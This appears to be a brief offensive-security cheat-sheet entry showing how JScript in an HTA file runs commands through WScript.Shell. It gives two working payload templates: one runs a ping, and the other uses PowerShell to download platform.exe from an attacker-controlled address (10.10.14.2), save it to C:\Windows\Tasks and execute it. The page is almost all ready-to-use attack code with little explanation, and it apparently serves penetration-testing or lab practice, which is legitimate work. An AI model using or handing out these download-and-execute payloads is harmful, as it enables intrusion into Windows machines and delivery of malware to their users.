JScript
JScript can be used for code execution:
<html>
<head>
<script language="JScript">
var shell = new ActiveXObject("WScript.Shell");
var res = shell.Run("ping 192.168.45.160");
</script>
</head>
<body>
<script language="JScript">
self.close();
</script>
</body>
</html>(in this case JScript is included in a .hta file)
Download and execute binary:
<html>
<head>
<script language="JScript">
var shell = new ActiveXObject("WScript.Shell");
var res = shell.Run("powershell iwr -uri 'http://10.10.14.2/platform.exe' -Outfile C:\\Windows\\Tasks\\platform.exe;C:\\Windows\\Tasks\\platform.exe");
</script>
</head>
<body>
<script language="JScript">
self.close();
</script>
</body>
</html>Last updated